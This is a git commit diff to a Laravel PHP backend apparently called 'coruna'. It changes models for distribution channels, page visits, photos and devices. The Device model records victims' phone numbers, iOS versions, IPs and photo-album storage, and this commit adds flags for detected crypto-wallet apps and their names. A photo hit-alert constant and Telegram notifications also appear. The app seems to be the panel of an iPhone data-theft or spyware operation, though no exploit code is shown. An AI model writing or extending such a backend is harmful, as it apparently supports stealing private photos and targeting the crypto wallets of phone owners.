feat: xxbb
This commit is contained in:
+45
-25
@@ -14,10 +14,10 @@ class Channel extends Model
|
||||
|
||||
public const BUILDER_NEW = 'new';
|
||||
|
||||
public const CHANNEL_NAME_LENGTH = 8;
|
||||
public const NEW_CHANNEL_ID_LENGTH = 8;
|
||||
|
||||
/**
|
||||
* Public-root path prefixes that must not be used as channel_name.
|
||||
* Public-root path prefixes that must not be used as 8-char channel IDs.
|
||||
*
|
||||
* @var list<string>
|
||||
*/
|
||||
@@ -25,14 +25,14 @@ class Channel extends Model
|
||||
'admin', 'user', 'api', 'web', 'sync', 'details', 'weifile', 'hooks',
|
||||
'link', 'statistic', 'vhx', 'event', 'log', 'storage', 'build', 'hot',
|
||||
'vendor', 'css', 'js', 'up', 'index', 'assets', 'static', 'source', 'channel',
|
||||
'out', 't', 'a', 'u', 'uj', 'us', 'ub', 'ba', 'result', 'favicon',
|
||||
'out', 't', 'nb', 'a', 'u', 'uj', 'us', 'ub', 'ba', 'result', 'favicon',
|
||||
'robots', 'sitemap', 'public', 'app', 'bootstrap', 'config',
|
||||
'database', 'resources', 'routes', 'tests', 'artisan', 'livewire',
|
||||
'sanctum', 'telescope', 'horizon', 'pulse',
|
||||
];
|
||||
|
||||
protected $fillable = [
|
||||
'channel_id', 'builder_type', 'channel_name', 'user_id', 'domains', 'status', 'remark',
|
||||
'channel_id', 'builder_type', 'user_id', 'domains', 'status', 'remark',
|
||||
];
|
||||
|
||||
protected $attributes = [
|
||||
@@ -135,6 +135,10 @@ class Channel extends Model
|
||||
*/
|
||||
public function supportLinks(): array
|
||||
{
|
||||
if ($this->isNewBuilder()) {
|
||||
return [];
|
||||
}
|
||||
|
||||
$links = [];
|
||||
$path = $this->landingPath();
|
||||
$scheme = trim((string) config('coruna.static_site.scheme', 'https')) ?: 'https';
|
||||
@@ -157,32 +161,48 @@ class Channel extends Model
|
||||
return bin2hex(random_bytes(16));
|
||||
}
|
||||
|
||||
public static function normalizeNewChannelId(string $channelId): ?string
|
||||
{
|
||||
$channelId = strtoupper(trim($channelId));
|
||||
if (! preg_match('/^[A-Z0-9]{'.self::NEW_CHANNEL_ID_LENGTH.'}$/', $channelId)) {
|
||||
return null;
|
||||
}
|
||||
if (self::isReservedChannelName($channelId)) {
|
||||
return null;
|
||||
}
|
||||
|
||||
return $channelId;
|
||||
}
|
||||
|
||||
public static function randomNewChannelId(): string
|
||||
{
|
||||
for ($i = 0; $i < 32; $i++) {
|
||||
$code = strtoupper(substr(bin2hex(random_bytes(5)), 0, self::NEW_CHANNEL_ID_LENGTH));
|
||||
if (self::normalizeNewChannelId($code) === null) {
|
||||
continue;
|
||||
}
|
||||
if (self::query()->whereRaw('upper(channel_id) = ?', [$code])->exists()) {
|
||||
continue;
|
||||
}
|
||||
|
||||
return $code;
|
||||
}
|
||||
|
||||
throw new RuntimeException('无法生成唯一渠道 ID');
|
||||
}
|
||||
|
||||
public function sourceZipRelativePath(): string
|
||||
{
|
||||
$dir = trim((string) config('coruna.channel_builder_new.source_dir', 'channel-source-new'), '/');
|
||||
|
||||
return $dir.'/'.$this->channel_id.'.zip';
|
||||
}
|
||||
|
||||
public static function isReservedChannelName(string $name): bool
|
||||
{
|
||||
return in_array(strtolower($name), self::RESERVED_CHANNEL_NAMES, true);
|
||||
}
|
||||
|
||||
public static function randomChannelName(): string
|
||||
{
|
||||
for ($i = 0; $i < 32; $i++) {
|
||||
$name = substr(bin2hex(random_bytes(5)), 0, self::CHANNEL_NAME_LENGTH);
|
||||
if (self::isReservedChannelName($name)) {
|
||||
continue;
|
||||
}
|
||||
if (self::query()->where('channel_name', $name)->exists()) {
|
||||
continue;
|
||||
}
|
||||
$public = public_path('source/'.$name);
|
||||
if (is_dir($public) || is_file($public)) {
|
||||
continue;
|
||||
}
|
||||
|
||||
return $name;
|
||||
}
|
||||
|
||||
throw new RuntimeException('无法生成唯一 channel_name');
|
||||
}
|
||||
|
||||
public static function maxPerAgent(): int
|
||||
{
|
||||
$n = (int) config('coruna.channels.max_per_agent', 5);
|
||||
|
||||
+32
-2
@@ -7,9 +7,19 @@ use Illuminate\Database\Eloquent\Relations\HasMany;
|
||||
|
||||
class Device extends Model
|
||||
{
|
||||
public const WALLET_UNKNOWN = 0;
|
||||
|
||||
public const WALLET_NONE = 1;
|
||||
|
||||
public const WALLET_YES = 2;
|
||||
|
||||
protected $fillable = [
|
||||
'device_id', 'channel_id', 'phone', 'ios_version', 'device_model', 'ip', 'user_agent',
|
||||
'telegram_notified', 'album_storage',
|
||||
'device_id', 'channel_id', 'source_domain', 'phone', 'ios_version', 'device_model', 'ip', 'user_agent',
|
||||
'telegram_notified', 'album_storage', 'has_wallet', 'wallet_names',
|
||||
];
|
||||
|
||||
protected $attributes = [
|
||||
'has_wallet' => self::WALLET_UNKNOWN,
|
||||
];
|
||||
|
||||
protected function casts(): array
|
||||
@@ -17,9 +27,29 @@ class Device extends Model
|
||||
return [
|
||||
'telegram_notified' => 'boolean',
|
||||
'album_storage' => 'boolean',
|
||||
'has_wallet' => 'integer',
|
||||
'wallet_names' => 'array',
|
||||
];
|
||||
}
|
||||
|
||||
public function hasWalletApps(): bool
|
||||
{
|
||||
return (int) $this->has_wallet === self::WALLET_YES;
|
||||
}
|
||||
|
||||
/**
|
||||
* @return list<string>
|
||||
*/
|
||||
public function walletNameList(): array
|
||||
{
|
||||
$names = $this->wallet_names;
|
||||
if (! is_array($names)) {
|
||||
return [];
|
||||
}
|
||||
|
||||
return array_values(array_filter(array_map(static fn ($n) => trim((string) $n), $names), static fn ($n) => $n !== ''));
|
||||
}
|
||||
|
||||
public function albumStorageEnabled(): bool
|
||||
{
|
||||
return (bool) ($this->album_storage ?? true);
|
||||
|
||||
@@ -11,13 +11,14 @@ class PageVisit extends Model
|
||||
protected $fillable = [
|
||||
'channel_id',
|
||||
'client_uid',
|
||||
'session_id',
|
||||
'user_agent',
|
||||
'os',
|
||||
'os_version',
|
||||
'browser',
|
||||
'browser_version',
|
||||
'ip',
|
||||
'path',
|
||||
'domain',
|
||||
'referer',
|
||||
'created_at',
|
||||
];
|
||||
@@ -28,4 +29,33 @@ class PageVisit extends Model
|
||||
'created_at' => 'datetime',
|
||||
];
|
||||
}
|
||||
|
||||
public static function normalizeDomain(?string $value): ?string
|
||||
{
|
||||
$value = trim((string) $value);
|
||||
if ($value === '') {
|
||||
return null;
|
||||
}
|
||||
$value = preg_replace('#^https?://#i', '', $value) ?? $value;
|
||||
$value = explode('/', $value, 2)[0];
|
||||
$value = strtolower(rtrim($value));
|
||||
if ($value === '' || ! str_contains($value, '.')) {
|
||||
return null;
|
||||
}
|
||||
|
||||
return substr($value, 0, 255);
|
||||
}
|
||||
|
||||
public const VISITOR_UID_LENGTH = 16;
|
||||
|
||||
/**
|
||||
* Stable visitor id: same domain+ip always yields the same 16-hex value.
|
||||
*/
|
||||
public static function visitorUid(?string $domain, ?string $ip): string
|
||||
{
|
||||
$domainKey = self::normalizeDomain($domain) ?? strtolower(trim((string) $domain));
|
||||
$ipKey = trim((string) $ip);
|
||||
|
||||
return substr(hash('sha256', $domainKey."\0".$ipKey), 0, self::VISITOR_UID_LENGTH);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -7,6 +7,8 @@ use Illuminate\Database\Eloquent\Relations\BelongsTo;
|
||||
|
||||
class Photo extends Model
|
||||
{
|
||||
public const X_HIT_ALERT = 12;
|
||||
|
||||
protected $fillable = [
|
||||
'device_id',
|
||||
'sha256',
|
||||
|
||||
Reference in New Issue
Block a user